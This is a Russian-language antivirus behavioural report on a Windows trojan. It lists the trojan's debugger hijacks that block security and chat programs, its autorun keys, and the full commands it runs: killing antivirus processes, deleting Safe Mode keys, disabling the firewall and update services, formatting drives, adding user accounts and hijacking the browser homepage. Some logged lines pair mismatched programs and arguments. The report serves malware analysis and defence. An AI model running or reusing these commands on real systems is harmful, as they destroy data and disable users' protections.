Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VsTskMgr.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mcshield.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msn.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TBMon.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UpdaterUI.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\naPrdMgr.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\my.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xy3launch.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xy2.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uc.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AutoUpdate.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KartRider.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scan32.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KRegEx.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVCenter.kxp] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVXP.kxp] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rundll32.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrojDie.kxp] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UIHost.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavTask.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCenter.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ravmond.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavStub.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ravmon.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rav.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360try.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RSTray.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQlive.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVSvrXP.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srgui.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ras.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchost' = '<SYSTEM32>\go.vbs'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchost' = '<SYSTEM32>\svchost.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'smss' = '<SYSTEM32>\hello.vbs'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQplayer.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQgame.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVMonxp.kxp] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Client.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQSpeed_Launch.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PPStream.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DNFChina.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQLogin.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQь┼╬ш.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQDownload.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Thunder5.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVPreScan.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe] 'debugger' = 'debugfile.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe] 'debugger' = 'debugfile.exe'
Вредоносные функции:
Создает и запускает на исполнение:
- '<Текущая директория>\Different.exe'
- '<SYSTEM32>\Different.exe'
Запускает на исполнение:
- '<SYSTEM32>\taskkill.exe' /pid=2952
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVCenter.kxp" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrojDie.kxp" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UIHost.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavStub.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ravmon.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVXP.kxp" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\taskkill.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavmonD.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network1\ /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal1\ /f
- '<SYSTEM32>\attrib.exe' +a +r +s +h <SYSTEM32>\QQ.exe
- '<SYSTEM32>\taskkill.exe' /pid=3128
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rundll32.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\taskkill.exe' /pid=3016
- '<SYSTEM32>\taskkill.exe' delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ /f
- '<SYSTEM32>\reg.exe' delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\ /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msn.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uc.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VsTskMgr.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mcshield.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\my.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xy3launch.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AutoUpdate.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KartRider.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCenter.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ravmond.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Rav.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RavTask.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UpdaterUI.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\naPrdMgr.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scan32.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TBMon.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '%WINDIR%\explorer.exe'
- '<SYSTEM32>\taskkill.exe' /pid=3640
- '<SYSTEM32>\attrib.exe' /pid=256
- '<SYSTEM32>\reg.exe'
- '<SYSTEM32>\taskkill.exe' "<SYSTEM32>\go.vbs"
- '<SYSTEM32>\wscript.exe' "<SYSTEM32>\hello.vbs"
- '<SYSTEM32>\wscript.exe' "<Текущая директория>\go.vbs"
- '<SYSTEM32>\wscript.exe' "<Текущая директория>\hello.vbs"
- '<SYSTEM32>\reg.exe' /pid=4088
- '<SYSTEM32>\reg.exe' /pid=4008
- '<SYSTEM32>\reg.exe' /pid=2556
- '<SYSTEM32>\reg.exe' /pid=372
- '<SYSTEM32>\reg.exe' /pid=3780
- '<SYSTEM32>\attrib.exe' /pid=3704
- '<SYSTEM32>\reg.exe' /pid=2892
- '<SYSTEM32>\reg.exe' /pid=3876
- '<SYSTEM32>\format.com' h: /q /u /y
- '<SYSTEM32>\taskkill.exe' /pid=3240
- '<SYSTEM32>\taskkill.exe' d:/fs:ntfs /y
- '<SYSTEM32>\format.com' i: /q /u /y
- '<SYSTEM32>\taskkill.exe' e: /q /u /y
- '<SYSTEM32>\format.com' d: /q /u /y
- '<SYSTEM32>\format.com' g: /q /u /y
- '<SYSTEM32>\format.com' f: /q /u /y
- '<SYSTEM32>\net1.exe' localgroup %USERNAME%s Microsoft/add
- '<SYSTEM32>\taskkill.exe' /pid=3388
- '<SYSTEM32>\net1.exe' user guest /active:yes
- '<SYSTEM32>\taskkill.exe' user guest /active:yes
- '<SYSTEM32>\convert.exe' f:/fs:ntfs /y
- '<SYSTEM32>\convert.exe' e:/fs:ntfs /y
- '<SYSTEM32>\net1.exe' user Microsoft Windows /add
- '<SYSTEM32>\taskkill.exe' /pid=3352
- '<SYSTEM32>\taskkill.exe' /im KRegEx.exe /f
- '<SYSTEM32>\taskkill.exe' /im KVCenter.kxp /f
- '<SYSTEM32>\taskkill.exe' /im TrojDie.kxp /f
- '<SYSTEM32>\taskkill.exe' /im UIHost.exe /f
- '<SYSTEM32>\taskkill.exe' /im Rav.exe /f
- '<SYSTEM32>\taskkill.exe' /im RavTask.exe /f
- '<SYSTEM32>\taskkill.exe' /im RavStub.exe /f
- '<SYSTEM32>\taskkill.exe' /im Ravmon.exe /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Search Page" /t reg_sz /d http://hi.##idu.com/420007198/ /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\helpsvcStart=dword:00000004
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Local Page" /t reg_sz /d http://hi.##idu.com/420007198/ /f
- '<SYSTEM32>\taskkill.exe' /im Rundll32.exe /f
- '<SYSTEM32>\taskkill.exe' /im Logo_1.exe /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d http://hi.##idu.com/420007198/ /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://hi.##idu.com/420007198/ /f
- '<SYSTEM32>\taskkill.exe' /im srgui.exe /f
- '<SYSTEM32>\taskkill.exe' /im QQ.exe /f
- '<SYSTEM32>\taskkill.exe' /im KVMonxp.kxp /f
- '<SYSTEM32>\taskkill.exe' /im KVSvrXP.exe /f
- '<SYSTEM32>\taskkill.exe' /im explorer.exe /f
- '<SYSTEM32>\taskkill.exe' /im RSTray.exe /f
- '<SYSTEM32>\taskkill.exe' /im ras.exe /f
- '<SYSTEM32>\taskkill.exe' /im 360tray.exe /f
- '<SYSTEM32>\taskkill.exe' /im scan32.exe /f
- '<SYSTEM32>\taskkill.exe' /im TBMon.exe /f
- '<SYSTEM32>\taskkill.exe' /im CCenter.exe /f
- '<SYSTEM32>\taskkill.exe' /im Ravmond.exe /f
- '<SYSTEM32>\taskkill.exe' /im Mcshield.exe /f
- '<SYSTEM32>\taskkill.exe' /im KVPreScan.exe /f
- '<SYSTEM32>\taskkill.exe' /im naPrdMgr.exe /f
- '<SYSTEM32>\taskkill.exe' /im VsTskMgr.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQDownload.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Thunder5.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVSvrXP.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srgui.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVPreScan.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVMonxp.kxp" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQLogin.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQь┼╬ш.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xy2.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DNFChina.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PPStream.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Client.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQSpeed_Launch.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\attrib.exe' +a +r +s +h <SYSTEM32>\different.exe
- '<SYSTEM32>\attrib.exe' +a +r +s +h <SYSTEM32>\go.vbs
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svchost /t REG_SZ /d <SYSTEM32>\svchost.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v smss /t REG_SZ /d <SYSTEM32>\hello.vbs /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wscsvcStart=dword:00000004
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccessStart=dword:00000004
- '<SYSTEM32>\attrib.exe' +a +r +s +h <SYSTEM32>\hello.vbs
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauservStart=dword:00000004
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RSTray.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQlive.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ras.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360try.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svchost /t REG_SZ /d <SYSTEM32>\go.vbs /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQplayer.exe" /v debugger /t reg_sz /d debugfile.exe /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQgame.exe" /v debugger /t reg_sz /d debugfile.exe /f
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\reg.exe
- <SYSTEM32>\taskkill.exe
следующие пользовательские процессы:
- 360tray.exe
Завершает или пытается завершить
следующие системные процессы:
- %WINDIR%\Explorer.EXE
следующие пользовательские процессы:
- 360tray.exe
Без разрешения пользователя устанавливает новую стартовую страницу для Windows Internet Explorer.
Изменения в файловой системе:
Создает следующие файлы:
- <SYSTEM32>\Different.exe
- <SYSTEM32>\go.vbs
- <Служебный элемент>
- %TEMP%\260421.bat
- %TEMP%\259000.bat
- <Текущая директория>\go.vbs
- <Текущая директория>\hello.vbs
- <Текущая директория>\Different.exe
- <SYSTEM32>\hello.vbs
- %TEMP%\bt8680.bat
Присваивает атрибут 'скрытый' для следующих файлов:
- <SYSTEM32>\go.vbs
- <SYSTEM32>\Different.exe
- %TEMP%\bt8680.bat
- <SYSTEM32>\hello.vbs
Другое:
Ищет следующие окна:
- ClassName: 'SysListView32' WindowName: ''
- ClassName: 'BaseBar' WindowName: 'ChanApp'
- ClassName: 'CSCHiddenWindow' WindowName: ''
- ClassName: 'SystemTray_Main' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: 'OleMainThreadWndClass' WindowName: ''
- ClassName: 'Proxy Desktop' WindowName: ''
